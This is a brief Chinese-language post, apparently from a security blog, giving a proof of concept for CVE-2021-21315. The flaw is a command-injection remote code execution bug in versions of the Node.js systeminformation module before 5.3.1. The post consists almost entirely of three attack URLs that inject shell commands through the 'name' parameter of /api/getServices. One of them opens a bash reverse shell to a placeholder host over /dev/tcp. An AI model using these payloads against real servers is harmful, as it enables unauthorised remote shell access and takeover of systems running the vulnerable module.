## CVE-2021-21315 Node.js systeminformation模块RCE
影响版本：
– systeminformation < 5.3.1 POC:
```
/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt)
/api/getServices?name[]=$(echo -e ‘Sekurak’ > pwn.txt)
/api/getServices?name[]=$(bash -i >& /dev/tcp/0.0.0.0/0000 0>&1)
“`
[@ForbiddenProgrammer](https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC)
© 版权声明
文章版权归作者所有，未经允许请勿转载。
THE END
请登录后查看评论内容